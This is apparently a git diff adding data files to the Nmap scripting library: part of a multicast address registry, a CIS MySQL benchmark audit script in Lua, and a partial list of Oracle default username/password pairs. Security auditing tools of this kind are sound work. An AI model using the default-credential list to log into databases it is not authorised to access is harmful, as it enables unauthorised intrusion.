+224.0.19.128 224.0.19.191 IIG Multicast
+224.0.19.192 224.0.19.207 Metropol
+224.0.19.208 224.0.19.239 Xenoscience, Inc.
+224.0.19.240 224.0.19.255 MJDPM
+224.0.20.0 224.0.20.63 MS-IP/TV
+224.0.20.64 224.0.20.127 Reliable Network Solutions
+224.0.20.128 224.0.20.143 TRACKTICKER Group
+224.0.20.144 224.0.20.207 CNR Rebroadcast MCA
+224.0.21.0 224.0.21.127 Talarian MCAST
+224.0.22.0 224.0.22.239 WORLD MCAST
+224.0.22.240 224.0.22.255 Jones International
+224.0.23.0 224.0.23.0 ECHONET
+224.0.23.1 224.0.23.1 Ricoh-device-ctrl
+224.0.23.2 224.0.23.2 Ricoh-device-ctrl
+224.0.23.3 224.0.23.10 Telefeed
+224.0.23.11 224.0.23.11 SpectraTalk
+224.0.23.12 224.0.23.12 EIBnet/IP
+224.0.23.13 224.0.23.13 TVE-ANNOUNCE2
+224.0.23.14 224.0.23.14 DvbServDisc
+224.0.23.15 224.0.23.31 MJDPM
+224.0.23.32 224.0.23.32 Norman MCMP
+224.0.23.33 224.0.23.33 RRDP
+224.0.23.34 224.0.23.34 AF_NA
+224.0.23.35 224.0.23.35 AF_OPRA_NBBO
+224.0.23.36 224.0.23.36 AF_OPRA_FULL
+224.0.23.37 224.0.23.37 AF_NEWS
+224.0.23.38 224.0.23.38 AF_NA_CHI
+224.0.23.39 224.0.23.39 AF_OPRA_NBBO_CHI
+224.0.23.40 224.0.23.40 AF_OPRA_FULL_CHI
+224.0.23.41 224.0.23.41 AF_NEWS_CHI
+224.0.23.42 224.0.23.42 Control for IP Video
+224.0.23.43 224.0.23.43 acp-discovery
+224.0.23.44 224.0.23.44 acp-management
+224.0.23.45 224.0.23.45 acp-data
+224.0.23.46 224.0.23.46 dof-multicast
+224.0.23.47 224.0.23.47 AF_DOB_CHI
+224.0.23.48 224.0.23.48 AF_OPRA_FULL2_CHI
+224.0.23.49 224.0.23.49 AF_DOB
+224.0.23.50 224.0.23.50 AF_OPRA_FULL2
+224.0.23.51 224.0.23.51 Fairview
+224.0.23.52 224.0.23.52 Amex Market Data
+224.0.23.53 224.0.23.53 MCP
+224.0.23.54 224.0.23.54 ServDiscovery
+224.0.23.55 224.0.23.55 noaaport1
+224.0.23.56 224.0.23.56 noaaport2
+224.0.23.57 224.0.23.57 noaaport3
+224.0.23.58 224.0.23.58 noaaport4
+224.0.23.59 224.0.23.59 DigacIP7
+224.0.23.60 224.0.23.60 AtscSvcSig
+224.0.23.61 224.0.23.61 SafetyNET p (potentially IGMPv1)
+224.0.23.62 224.0.23.62 BluemoonGamesMC
+224.0.23.63 224.0.23.63 iADT Discovery
+224.0.23.64 224.0.23.80 Moneyline
+224.0.23.81 224.0.23.127 Reserved (Moneyline)
+224.0.23.128 224.0.23.157 PHLX
+224.0.23.158 224.0.23.158 VSCP
+224.0.23.159 224.0.23.159 LXI-EVENT
+224.0.23.160 224.0.23.160 solera_lmca
+224.0.23.161 224.0.23.161 VBooster
+224.0.23.162 224.0.23.162 cajo discovery
+224.0.23.163 224.0.23.163 INTELLIDEN
+224.0.23.164 224.0.23.164 IceEDCP
+224.0.23.165 224.0.23.165 omasg
+224.0.23.166 224.0.23.166 MEDIASTREAM
+224.0.23.167 224.0.23.167 Systech Mcast
+224.0.23.168 224.0.23.168 tricon-system-management
+224.0.23.169 224.0.23.169 MNET discovery
+224.0.23.170 224.0.23.170 CCNx (not for global routing)
+224.0.23.171 224.0.23.171 LLAFP
+224.0.23.172 224.0.23.172 UFMP
+224.0.23.173 224.0.23.173 PHILIPS-HEALTH
+224.0.23.174 224.0.23.174 PHILIPS-HEALTH
+224.0.23.175 224.0.23.175 QDP
+224.0.23.176 224.0.23.176 CalAmp WCP
+224.0.23.177 224.0.23.177 AES discovery
+224.0.23.178 224.0.23.178 JDP Java Discovery Protocol
+224.0.23.179 224.0.23.179 PixelPusher
+224.0.23.180 224.0.23.180 network metronome
+224.0.23.181 224.0.23.181 polaris-video-transport
+224.0.23.182 224.0.23.191 Unassigned
+224.0.23.192 224.0.23.255 PINKOTC
+224.0.24.0 224.0.24.127 AGSC UK VVs
+224.0.24.128 224.0.24.255 EM-MULTI
+224.0.25.0 224.0.28.255 CME Market Data
+224.0.29.0 224.0.30.255 Deutsche Boerse
+224.0.31.0 224.0.34.255 CME Market Data
+224.0.35.0 224.0.35.255 M2S
+224.0.36.0 224.0.36.255 DigiPlay
+224.0.37.0 224.0.38.255 LME OMD Addressing
+224.0.39.0 224.0.40.255 CDAS
+224.0.41.0 224.0.41.255 NYSE-EURONEXT
+224.0.42.0 224.0.45.255 MEDIAL
+224.0.46.0 224.0.50.255 Deutsche Boerse
+224.0.51.0 224.0.51.255 ALCOM-IPTV
+224.0.52.0 224.0.53.255 Euronext
+224.0.54.0 224.0.57.255 Get - BCN
+224.0.58.0 224.0.61.255 NYSE-AMEX_L1_L2
+224.0.62.0 224.0.62.255 BATS
+224.0.63.0 224.0.63.255 BATS Trading
+224.0.64.0 224.0.67.255 Euronext
+224.0.68.0 224.0.69.255 ISE
+224.0.70.0 224.0.71.255 NYSE-AB-UTP
+224.0.72.0 224.0.72.255 TMX
+224.0.73.0 224.0.74.255 Direct Edge
+224.0.75.0 224.0.75.255 ISE
+224.0.76.0 224.0.76.255 NYSE-XDP
+224.0.77.0 224.0.77.255 MD_NYSEEURONEXT
+224.0.78.0 224.0.78.255 ALCOM-IPTV
+224.0.79.0 224.0.81.255 ISE
+224.0.82.0 224.0.85.255 BATS Trading
+224.0.86.0 224.0.101.255 NYSE NMS OPRA
+224.0.102.0 224.0.102.127 NYSE SYNTHETIC FEEDS
+224.0.102.128 224.0.102.255 MVS-IPTV-2
+224.0.103.0 224.0.104.255 MVS-IPTV
+224.0.105.0 224.0.105.127 MIAX Multicast
+224.0.105.128 224.0.105.255 Unassigned
+224.0.106.0 224.0.106.255 TMX
+224.0.107.0 224.0.108.255 Alpha Group
+224.0.109.0 224.0.110.255 Zaklina_Petkovic
+224.0.111.0 224.0.111.255 VoleraDataFeed
+224.0.112.0 224.0.112.255 JHB-STOCK-EXCH
+224.0.113.0 224.0.114.255 Deutsche Boerse
+224.0.115.0 224.0.115.255 TMX
+224.0.116.0 224.0.116.255 TMX Atrium
+224.0.117.0 224.0.119.255 ISE
+224.0.120.0 224.0.120.255 czechbone iptv
+224.0.121.0 224.0.121.255 AQUIS-EXCHANGE
+224.0.122.0 224.0.123.255 DNS:NET TV
+224.0.124.0 224.0.124.255 Boston Options Exchange
+224.0.125.0 224.0.125.255 Hanweck Associates
+224.0.126.0 224.0.129.255 ICE market data
+224.0.130.0 224.0.131.255 BATS Trading
+224.0.132.0 224.0.135.255 Net By Net Holding IPTV
+224.0.136.0 224.0.139.255 Aequitas Innovations Inc.
+224.0.140.0 224.0.140.255 Instinet
+224.0.141.0 224.0.141.255 MIAX-2
+224.0.142.0 224.0.142.255 MIAX M3
+224.0.143.0 224.0.143.255 A2X-EXCHANGE
+224.0.144.0 224.0.151.255 VZ-Multicast-Public
+224.0.152.0 224.0.152.255 cse-md
+224.0.153.0 224.0.156.255 Get - BCN
+224.0.157.0 224.0.157.255 LME OMD Addressing
+224.0.158.0 224.0.159.255 TriAct Canada Marketplace LP
+224.0.160.0 224.0.165.255 Deutsche Boerse
+224.0.166.0 224.0.167.255 Virgin Connect IPTV
+224.0.168.0 224.0.249.255 Unassigned
+224.0.250.0 224.0.251.255 KPN Broadcast Services
+224.0.252.0 224.0.252.255 KPN Broadcast Services
+224.0.253.0 224.0.253.255 KPN Broadcast Services
+224.0.254.0 224.0.254.255 Intelsat IPTV
+224.0.255.0 224.0.255.255 Intelsat IPTV
+224.1.0.0 224.1.0.37 Reserved
+224.1.0.38 224.1.0.38 dantz
+224.1.0.39 224.1.1.255 Reserved
+224.1.2.0 224.1.2.255 arca-ex
+224.1.3.0 224.1.4.255 NOB Cross media facilities
+224.1.5.0 224.1.255.255 Reserved
+224.2.0.0 224.2.127.253 Multimedia Conference Calls
+224.2.127.254 224.2.127.254 SAPv1 Announcements
+224.2.127.255 224.2.127.255 SAPv0 Announcements (deprecated)
+224.2.128.0 224.2.255.255 SAP Dynamic Assignments
+224.3.0.0 224.3.0.63 Nasdaqmdfeeds (re-new/March 2003)
+224.3.0.64 224.3.255.255 Reserved
+224.4.0.0 224.4.0.255 London Stock Exchange
+224.4.1.0 224.4.1.255 London Stock Exchange
+224.4.2.0 224.4.2.255 London Stock Exchange
+224.4.3.0 224.4.4.255 London Stock Exchange
+224.4.5.0 224.4.6.255 London Stock Exchange
+224.4.7.0 224.4.7.255 CBOE Holdings
+224.4.8.0 224.4.9.255 ISE
+224.4.10.0 224.4.13.255 London Stock Exchange
+224.4.14.0 224.4.255.255 Reserved
+224.5.0.0 224.251.255.255 Reserved
+224.252.0.0 224.255.255.255 DIS Transient Groups (rfc2365)
+225.0.0.0 231.255.255.255 Reserved
+232.0.0.0 232.0.0.0 Reserved (rfc4607)
+232.0.0.1 232.0.0.255 Reserved for IANA allocation (rfc4607)
+232.0.1.0 232.255.255.255 Reserved for local host allocation (rfc4607)
+233.0.0.0 233.251.255.255 GLOP Block (rfc3180)
+233.252.0.0 233.252.0.255 MCAST-TEST-NET (rfc6676)
+233.252.1.0 233.252.1.31 Spryware
+233.252.1.32 233.252.1.255 Unassigned
+233.252.2.0 233.252.7.255 Tradition
+233.252.8.0 233.252.11.255 BVMF_MKT_DATA
+233.252.12.0 233.252.13.255 blizznet-tv-services
+233.252.14.0 233.252.17.255 BVMF_MKT_DATA_2
+233.252.18.0 233.255.255.255 Unassigned
+234.0.0.0 234.255.255.255 Unicast-Prefix-based IPv4 Multicast Addresses (rfc6034)
+235.0.0.0 238.255.255.255 Reserved
+239.0.0.0 239.255.255.255 Organization-Local Scope (rfc2365)
diff --git a/nselib/data/mysql-cis.audit b/nselib/data/mysql-cis.audit
new file mode 100644
index 0000000..7542bf7
--- /dev/null
+++ b/nselib/data/mysql-cis.audit
@@ -0,0 +1,228 @@
+local stdnse = require "stdnse"
+local tab = require "tab"
+local table = require "table"
+
+-- Defined in mysql-audit.nse
+-- makes nse-check-globals complain, but that's ok
+local test = test
+
+TEMPLATE_NAME="CIS MySQL Benchmarks v1.0.2"
+
+-- These accounts should be treated as admins and excluded from some of the results
+ADMIN_ACCOUNTS={"root", "debian-sys-maint"}
+
+-- Checks whether a resultset is empty or not
+local function isEmpty(rows)
+ if ( #rows > 0 ) then return false end
+ return true
+end
+
+-- Extracts a column from a row and return all occurances as an array
+local function col2tab(rs, cname)
+ local tab = {}
+ local cpos
+ for i=1, #rs.cols do
+ if ( rs.cols[i].name == cname ) then
+ cpos = i
+ break
+ end
+ end
+ if ( not(cpos) ) then
+ return
+ end
+ for _, row in ipairs(rs.rows) do table.insert(tab, row[cpos]) end
+ return tab
+end
+
+local function createINstmt(tab)
+ local tab2 = {}
+ for i=1, #tab do tab2[i] = ("'%s'"):format(tab[i]) end
+ return table.concat(tab2, ",")
+end
+
+
+-- This next section contains all the tests
+
+-- Logging
+test { id="3.1", desc="Skip symbolic links", sql="SHOW variables WHERE Variable_name = 'log_error' AND Value IS NOT NULL", check=function(rowstab)
+ return { status = not(isEmpty(rowstab[1])) }
+end
+}
+
+test { id="3.2", desc="Logs not on system partition", sql="SHOW variables WHERE Variable_name = 'log_bin' AND Value <> 'OFF'", check=function(rowstab)
+ local log = col2tab(rowstab[1], 'Value')
+ return { status = isEmpty(rowstab[1]), result = log, review = not(isEmpty(rowstab[1])) }
+end
+}
+
+test { id="3.2", desc="Logs not on database partition", sql="SHOW variables WHERE Variable_name = 'log_bin' AND Value <> 'OFF'", check=function(rowstab)
+ local log = col2tab(rowstab[1], 'Value')
+ return { status = isEmpty(rowstab[1]), result = log, review = not(isEmpty(rowstab[1])) }
+end
+}
+
+
+-- General
+test { id="4.1", desc="Supported version of MySQL", sql="SHOW VARIABLES like 'version'", check=function(rowstab)
+ local ver = col2tab(rowstab[1], 'Value')[1]
+ return { status = true, review = true, result = ("Version: %s"):format(ver) }
+end
+}
+
+test { id="4.4", desc="Remove test database", sql="SHOW DATABASES like 'test'", check=function(rowstab) return { status = isEmpty(rowstab[1]) } end }
+
+test { id="4.5", desc="Change admin account name", sql="SELECT user FROM mysql.user WHERE user='root';", check=function(rowstab) return { status = isEmpty(rowstab[1]) } end }
+
+test { id="4.7", desc="Verify Secure Password Hashes", sql="SELECT DISTINCT user, password from mysql.user where length(password) < 41 AND length(password) > 0", check=function(rowstab)
+ local users = col2tab(rowstab[1], 'user')
+ users.name = ( #users > 0 ) and "The following users were found having weak password hashes"
+ return { status = isEmpty(rowstab[1]), result = users }
+end
+}
+
+test { id="4.9", desc="Wildcards in user hostname", sql="select user from mysql.user where host = '%'", check=function(rowstab)
+ local users = col2tab(rowstab[1], 'user')
+ users.name = ( #users > 0 ) and "The following users were found with wildcards in hostname"
+ return { status = isEmpty(rowstab[1]), result = users }
+end
+}
+
+test { id="4.10", desc="No blank passwords", sql="select distinct user, password from mysql.user where length(password) = 0 or password is null", check=function(rowstab)
+ local users = col2tab(rowstab[1], 'user')
+ users.name = ( #users > 0 ) and "The following users were found having blank/empty passwords"
+ return { status = isEmpty(rowstab[1]), result = users }
+end
+}
+
+test { id="4.11", desc="Anonymous account", sql="select distinct user from mysql.user where user =''", check=function(rowstab) return { status = isEmpty(rowstab[1]) } end }
+
+
+-- MySQL Permissions
+test { id="5.1", desc="Access to mysql database",
+ sql = { "SELECT user, host FROM mysql.db WHERE db = 'mysql' and ((Select_priv = 'Y') or (Insert_priv = 'Y') " ..
+ "or (Update_priv = 'Y') or (Delete_priv = 'Y') or (Create_priv = 'Y') or (Drop_priv = 'Y'))",
+ "SELECT user, host FROM mysql.user WHERE (Select_priv = 'Y') or (Insert_priv = 'Y') or " ..
+ "(Update_priv = 'Y') or (Delete_priv = 'Y') or (Create_priv = 'Y') or (Drop_priv = 'Y')" },
+ check = function(rowstab)
+
+ local result = tab.new(2)
+ tab.addrow(result, "user", "host")
+
+ local rs = rowstab[1]
+ for _, row in ipairs(rs.rows) do
+ tab.addrow( result, row[1], row[2] )
+ end
+
+ return { status = false, review = true, result = { tab.dump(result), name="Verify the following users that have access to the MySQL database" } }
+ end
+}
+
+test { id="5.2", desc="Do not grant FILE privileges to non Admin users",
+ sql=("SELECT user, host FROM mysql.user WHERE File_priv = 'Y' AND user NOT IN (%s)"):format(createINstmt(ADMIN_ACCOUNTS)),
+ check=function(rowstab)
+ local users = col2tab(rowstab[1], 'user')
+ users.name = ( #users > 0 ) and "The following users were found having the FILE privilege"
+ return { status = isEmpty(rowstab[1]), result = users, review = not(isEmpty(rowstab[1])) }
+ end
+}
+
+test { id="5.3", desc="Do not grant PROCESS privileges to non Admin users",
+ sql=("SELECT user, host FROM mysql.user WHERE Process_priv = 'Y' AND user NOT IN (%s)"):format(createINstmt(ADMIN_ACCOUNTS)),
+ check=function(rowstab)
+ local users = col2tab(rowstab[1], 'user')
+ users.name = ( #users > 0 ) and "The following users were found having the PROCESS privilege"
+ return { status = isEmpty(rowstab[1]), result = users, review = not(isEmpty(rowstab[1])) }
+ end
+}
+
+test { id="5.4", desc="Do not grant SUPER privileges to non Admin users",
+ sql=("SELECT user, host FROM mysql.user WHERE Super_priv = 'Y' AND user NOT IN (%s)"):format(createINstmt(ADMIN_ACCOUNTS)),
+ check=function(rowstab)
+ local users = col2tab(rowstab[1], 'user')
+ users.name = ( #users > 0 ) and "The following users were found having the SUPER privilege"
+ return { status = isEmpty(rowstab[1]), result = users, review = not(isEmpty(rowstab[1])) }
+ end
+}
+
+test { id="5.5", desc="Do not grant SHUTDOWN privileges to non Admin users",
+ sql=("SELECT user, host FROM mysql.user WHERE Shutdown_priv = 'Y' AND user NOT IN (%s)"):format(createINstmt(ADMIN_ACCOUNTS)),
+ check=function(rowstab)
+ local users = col2tab(rowstab[1], 'user')
+ users.name = ( #users > 0 ) and "The following users were found having the SHUTDOWN privilege"
+ return { status = isEmpty(rowstab[1]), result = users, review = not(isEmpty(rowstab[1])) }
+ end
+}
+
+test { id="5.6", desc="Do not grant CREATE USER privileges to non Admin users",
+ sql=("SELECT user, host FROM mysql.user WHERE Create_user_priv = 'Y' AND user NOT IN (%s)"):format(createINstmt(ADMIN_ACCOUNTS)),
+ check=function(rowstab)
+ local users = col2tab(rowstab[1], 'user')
+ users.name = ( #users > 0 ) and "The following users were found having the CREATE USER privilege"
+ return { status = isEmpty(rowstab[1]), result = users, review = not(isEmpty(rowstab[1])) }
+ end
+}
+
+test { id="5.7", desc="Do not grant RELOAD privileges to non Admin users",
+ sql=("SELECT user, host FROM mysql.user WHERE Reload_priv = 'Y' AND user NOT IN (%s)"):format(createINstmt(ADMIN_ACCOUNTS)),
+ check=function(rowstab)
+ local users = col2tab(rowstab[1], 'user')
+ users.name = ( #users > 0 ) and "The following users were found having the RELOAD privilege"
+ return { status = isEmpty(rowstab[1]), result = users, review = not(isEmpty(rowstab[1])) }
+ end
+}
+
+test { id="5.8", desc="Do not grant GRANT privileges to non Admin users",
+ sql=("SELECT user, host FROM mysql.user WHERE Grant_priv = 'Y' AND user NOT IN (%s)"):format(createINstmt(ADMIN_ACCOUNTS)),
+ check=function(rowstab)
+ local users = col2tab(rowstab[1], 'user')
+ users.name = ( #users > 0 ) and "The following users were found having the GRANT privilege"
+ return { status = isEmpty(rowstab[1]), result = users, review = not(isEmpty(rowstab[1])) }
+ end
+}
+
+
+-- MySQL Configuraiton options
+test { id="6.2", desc="Disable Load data local", sql="SHOW variables WHERE Variable_name = 'local_infile' AND Value='OFF'", check=function(rowstab)
+ return { status = not(isEmpty(rowstab[1])) }
+end
+}
+
+test { id="6.3", desc="Disable old password hashing", sql="SHOW variables WHERE Variable_name = 'old_passwords' AND Value='OFF'", check=function(rowstab)
+ return { status = not(isEmpty(rowstab[1])) }
+end
+}
+
+test { id="6.4", desc="Safe show database", sql="SHOW variables WHERE Variable_name = 'safe_show_database' AND Value='ON'", check=function(rowstab)
+ return { status = not(isEmpty(rowstab[1])) }
+end
+}
+
+test { id="6.5", desc="Secure auth", sql="SHOW variables WHERE Variable_name = 'secure_auth' AND Value='ON'", check=function(rowstab)
+ return { status = not(isEmpty(rowstab[1])) }
+end
+}
+
+test { id="6.6", desc="Grant tables", sql="SHOW variables WHERE Variable_name = 'skip_grant_tables' AND Value='OFF'", check=function(rowstab)
+ return { status = not(isEmpty(rowstab[1])) }
+end
+}
+
+test { id="6.7", desc="Skip merge", sql="SHOW variables WHERE Variable_name = 'have_merge_engine' AND Value='DISABLED'", check=function(rowstab)
+ return { status = not(isEmpty(rowstab[1])) }
+end
+}
+
+test { id="6.8", desc="Skip networking", sql="SHOW variables WHERE Variable_name = 'skip_networking' AND Value='ON'", check=function(rowstab)
+ return { status = not(isEmpty(rowstab[1])) }
+end
+}
+
+test { id="6.9", desc="Safe user create", sql="select @@global.sql_mode, @@session.sql_mode FROM dual WHERE @@session.sql_mode='NO_AUTO_CREATE_USER' AND @@global.sql_mode='NO_AUTO_CREATE_USER'", check=function(rowstab)
+ return { status = not(isEmpty(rowstab[1])) }
+end
+}
+
+test { id="6.10", desc="Skip symbolic links", sql="SHOW variables WHERE Variable_name = 'have_symlink' AND Value='DISABLED'", check=function(rowstab)
+ return { status = not(isEmpty(rowstab[1])) }
+end
+}
diff --git a/nselib/data/oracle-default-accounts.lst b/nselib/data/oracle-default-accounts.lst
new file mode 100644
index 0000000..6a5bd0d
--- /dev/null
+++ b/nselib/data/oracle-default-accounts.lst
@@ -0,0 +1,687 @@
+#!comment: This password file was created from the hashes in dfltpass.sql a
+#!comment: script created by Oracle to scan databases for default credentials.
+AASH/AASH
+ABA1/ABA1
+ABM/ABM
+AD_MONITOR/LIZARD
+ADAMS/WOOD
+ADS/ADS
+ADSEUL_US/WELCOME
+AHL/AHL
+AHM/AHM
+AK/AK
+AL/AL
+ALA1/ALA1
+ALLUSERS/ALLUSERS
+ALR/ALR
+AMA1/AMA1
+AMA2/AMA2
+AMA3/AMA3
+AMA4/AMA4
+AMF/AMF
+AMS/AMS
+AMS1/AMS1
+AMS2/AMS2
+AMS3/AMS3
+AMS4/AMS4
+AMSYS/AMSYS
+AMV/AMV
+AMW/AMW
+ANNE/ANNE
+AOLDEMO/AOLDEMO
+AP/AP
+APA1/APA1
+APA2/APA2
+APA3/APA3
+APA4/APA4
+APPLEAD/APPLEAD
+APPLSYS/FND
+APPLSYS/APPS
+APPLSYSPUB/PUB
+APPS/APPS
+APS1/APS1
+APS2/APS2
+APS3/APS3
+APS4/APS4
+AQDEMO/AQDEMO
+AQJAVA/AQJAVA
+AQUSER/AQUSER
+AR/AR
+ARA1/ARA1
+ARA2/ARA2
+ARA3/ARA3
+ARA4/ARA4
+ARS1/ARS1
+ARS2/ARS2
+ARS3/ARS3
+ARS4/ARS4
+ART/ART
+ASF/ASF
+ASG/ASG
+ASL/ASL
+ASN/ASN
+ASO/ASO
+ASP/ASP
+AST/AST
+AUC_GUEST/AUC_GUEST
+AUTHORIA/AUTHORIA
+AX/AX
+AZ/AZ
+B2B/B2B
+BAM/BAM
+BCA1/BCA1
+BCA2/BCA2
+BEN/BEN
+BIC/BIC
+BIL/BIL
+BIM/BIM
+BIS/BIS
+BIV/BIV
+BIX/BIX
+BLAKE/PAPER
+BMEADOWS/BMEADOWS
+BNE/BNE
+BOM/BOM
+BP01/BP01
+BP02/BP02
+BP03/BP03
+BP04/BP04
+BP05/BP05
+BP06/BP06
+BSC/BSC
+BUYACCT/BUYACCT
+BUYAPPR1/BUYAPPR1
+BUYAPPR2/BUYAPPR2
+BUYAPPR3/BUYAPPR3
+BUYER/BUYER
+BUYMTCH/BUYMTCH
+CAMRON/CAMRON
+CANDICE/CANDICE
+CARL/CARL
+CARLY/CARLY
+CARMEN/CARMEN
+CARRIECONYERS/CARRIECONYERS
+CATADMIN/CATADMIN
+CE/CE
+CEASAR/CEASAR
+CENTRA/CENTRA
+CFD/CFD
+CHANDRA/CHANDRA
+CHARLEY/CHARLEY
+CHRISBAKER/CHRISBAKER
+CHRISTIE/CHRISTIE
+CINDY/CINDY
+CLARK/CLARK
+CLARK/CLOTH
+CLAUDE/CLAUDE
+CLINT/CLINT
+CLN/CLN
+CN/CN
+CNCADMIN/CNCADMIN
+CONNIE/CONNIE
+CONNOR/CONNOR
+CORY/CORY
+CRM1/CRM1
+CRM2/CRM2
+CRP/CRP
+CRPB733/CRPB733
+CRPCTL/CRPCTL
+CRPDTA/CRPDTA
+CS/CS
+CSADMIN/CSADMIN
+CSAPPR1/CSAPPR1
+CSC/CSC
+CSD/CSD
+CSDUMMY/CSDUMMY
+CSE/CSE
+CSF/CSF
+CSI/CSI
+CSL/CSL
+CSM/CSM
+CSMIG/CSMIG
+CSP/CSP
+CSR/CSR
+CSS/CSS
+CTXDEMO/CTXDEMO
+CTXSYS/CTXSYS
+CTXSYS/CHANGE_ON_INSTALL
+CTXTEST/CTXTEST
+CUA/CUA
+CUE/CUE
+CUF/CUF
+CUG/CUG
+CUI/CUI
+CUN/CUN
+CUP/CUP
+CUS/CUS
+CZ/CZ
+DAVIDMORGAN/DAVIDMORGAN
+DBSNMP/DBSNMP
+DCM/DCM
+DD7333/DD7333
+DD7334/DD7334
+DD810/DD810
+DD811/DD811
+DD812/DD812
+DD9/DD9
+DDB733/DDB733
+DDD/DDD
+DEMO8/DEMO8
+DES/DES
+DES2K/DES2K
+DEV2000_DEMOS/DEV2000_DEMOS
+DEVB733/DEVB733
+DEVUSER/DEVUSER
+DGRAY/WELCOME
+DIP/DIP
+DISCOVERER5/DISCOVERER5
+DKING/DKING
+DLD/DLD
+DMADMIN/MANAGER
+DMATS/DMATS
+DMS/DMS
+DMSYS/DMSYS
+DOM/DOM
+DPOND/DPOND
+DSGATEWAY/DSGATEWAY
+DV7333/DV7333
+DV7334/DV7334
+DV810/DV810
+DV811/DV811
+DV812/DV812
+DV9/DV9
+DVP1/DVP1
+EAA/EAA
+EAM/EAM
+EC/EC
+ECX/ECX
+EDR/EDR
+EDWEUL_US/EDWEUL_US
+EDWREP/EDWREP
+EGC1/EGC1
+EGD1/EGD1
+EGM1/EGM1
+EGO/EGO
+EGR1/EGR1
+END1/END1
+ENG/ENG
+ENI/ENI
+ENM1/ENM1
+ENS1/ENS1
+ENTMGR_CUST/ENTMGR_CUST
+ENTMGR_PRO/ENTMGR_PRO
+ENTMGR_TRAIN/ENTMGR_TRAIN
+EOPP_PORTALADM/EOPP_PORTALADM
+EOPP_PORTALMGR/EOPP_PORTALMGR
+EOPP_USER/EOPP_USER
+EUL_US/EUL_US
+EVM/EVM
+EXA1/EXA1
+EXA2/EXA2
+EXA3/EXA3
+EXA4/EXA4
+EXFSYS/EXFSYS
+EXS1/EXS1
+EXS2/EXS2
+EXS3/EXS3
+EXS4/EXS4
+FA/FA
+FEM/FEM
+FIA1/FIA1
+FII/FII
+FLM/FLM
+FNI1/FNI1
+FNI2/FNI2
+FPA/FPA
+FPT/FPT
+FRM/FRM
+FTA1/FTA1
+FTE/FTE
+FUN/FUN
+FV/FV
+FVP1/FVP1
+GALLEN/GALLEN
+GCA1/GCA1
+GCA2/GCA2
+GCA3/GCA3
+GCA9/GCA9
+GCMGR1/GCMGR1
+GCMGR2/GCMGR2
+GCMGR3/GCMGR3
+GCS/GCS
+GCS1/GCS1
+GCS2/GCS2
+GCS3/GCS3
+GEORGIAWINE/GEORGIAWINE
+GL/GL
+GLA1/GLA1
+GLA2/GLA2
+GLA3/GLA3
+GLA4/GLA4
+GLS1/GLS1
+GLS2/GLS2
+GLS3/GLS3
+GLS4/GLS4
+GM_AWDA/GM_AWDA
+GM_COPI/GM_COPI
+GM_DPHD/GM_DPHD
+GM_MLCT/GM_MLCT
+GM_PLADMA/GM_PLADMA
+GM_PLADMH/GM_PLADMH
+GM_PLCCA/GM_PLCCA
+GM_PLCCH/GM_PLCCH
+GM_PLCOMA/GM_PLCOMA
+GM_PLCOMH/GM_PLCOMH
+GM_PLCONA/GM_PLCONA
+GM_PLCONH/GM_PLCONH
+GM_PLNSCA/GM_PLNSCA
+GM_PLNSCH/GM_PLNSCH
+GM_PLSCTA/GM_PLSCTA
+GM_PLSCTH/GM_PLSCTH
+GM_PLVET/GM_PLVET
+GM_SPO/GM_SPO
+GM_STKH/GM_STKH
+GMA/GMA
+GMD/GMD
+GME/GME
+GMF/GMF
+GMI/GMI
+GML/GML
+GMP/GMP
+GMS/GMS
+GR/GR
+GUEST/GUEST
+HCC/HCC
+HHCFO/HHCFO
+HR/HR
+HRI/HRI
+HXC/HXC
+HXT/HXT
+IA/IA
+IBA/IBA
+IBC/IBC
+IBE/IBE
+IBP/IBP
+IBU/IBU
+IBY/IBY
+ICX/ICX
+IEB/IEB
+IEC/IEC
+IEM/IEM
+IEO/IEO
+IES/IES
+IEU/IEU
+IEX/IEX
+IGC/IGC
+IGF/IGF
+IGI/IGI
+IGS/IGS
+IGW/IGW
+IMC/IMC
+IMT/IMT
+INS1/INS1
+INS2/INS2
+INV/INV
+IP/IP
+IPA/IPA
+IPD/IPD
+ISC/ISC
+ISTEWARD/ISTEWARD
+ITG/ITG
+JA/JA
+JD7333/JD7333
+JD7334/JD7334
+JD9/JD9
+JDE/JDE
+JDEDBA/JDEDBA
+JE/JE
+JG/JG
+JL/JL
+JOHNINARI/JOHNINARI
+JONES/STEEL
+JTF/JTF
+JTI/JTI
+JTM/JTM
+JTR/JTR
+JTS/JTS
+JUNK_PS/JUNK_PS
+JUSTOSHUM/JUSTOSHUM
+KELLYJONES/KELLYJONES
+KEVINDONS/KEVINDONS
+KPN/KPN
+LADAMS/LADAMS
+LBA/LBA
+LBACSYS/LBACSYS
+LDQUAL/LDQUAL
+LHILL/LHILL
+LNS/LNS
+LQUINCY/LQUINCY
+LSA/LSA
+MDDATA/MDDATA
+MDSYS/MDSYS
+MDSYS/SYS
+ME/ME
+MFG/MFG
+MGR1/MGR1
+MGR2/MGR2
+MGR3/MGR3
+MGR4/MGR4
+MIKEIKEGAMI/MIKEIKEGAMI
+MJONES/MJONES
+MLAKE/MLAKE
+MM1/MM1
+MM2/MM2
+MM3/MM3
+MM4/MM4
+MM5/MM5
+MMARTIN/MMARTIN
+MOBILEADMIN/WELCOME
+MRP/MRP
+MSC/MSC
+MSD/MSD
+MSO/MSO
+MSR/MSR
+MST/MST
+MWA/MWA
+NEILKATSU/NEILKATSU
+OBJ7333/OBJ7333
+OBJ7334/OBJ7334
+OBJB733/OBJB733
+OCA/OCA
+ODM/ODM
+ODM_MTR/MTRPW
+ODS/ODS
+ODSCOMMON/ODSCOMMON
+OE/OE
+OKB/OKB
+OKC/OKC
+OKE/OKE
+OKI/OKI
+OKL/OKL
+OKO/OKO
+OKR/OKR
+OKS/OKS
+OKX/OKX
+OL810/OL810
+OL811/OL811
+OL812/OL812
+OL9/OL9
+OLAPSYS/MANAGER
+ONT/ONT
+OPI/OPI
+ORABAM/ORABAM
+ORABAMSAMPLES/ORABAMSAMPLES
+ORABPEL/ORABPEL
+ORAESB/ORAESB
+ORAOCA_PUBLIC/ORAOCA_PUBLIC
+ORASAGENT/ORASAGENT
+ORASSO/ORASSO
+ORASSO_DS/ORASSO_DS
+ORASSO_PA/ORASSO_PA
+ORASSO_PS/ORASSO_PS
+ORASSO_PUBLIC/ORASSO_PUBLIC
+ORDPLUGINS/ORDPLUGINS
+ORDSYS/ORDSYS
+OSM/OSM
+OTA/OTA
+OUTLN/OUTLN
+OWAPUB/OWAPUB
+OWF_MGR/OWF_MGR
+OZF/OZF
+OZP/OZP
+OZS/OZS
+PA/PA
+PABLO/PABLO
+PAIGE/PAIGE
+PAM/PAM
+PARRISH/PARRISH
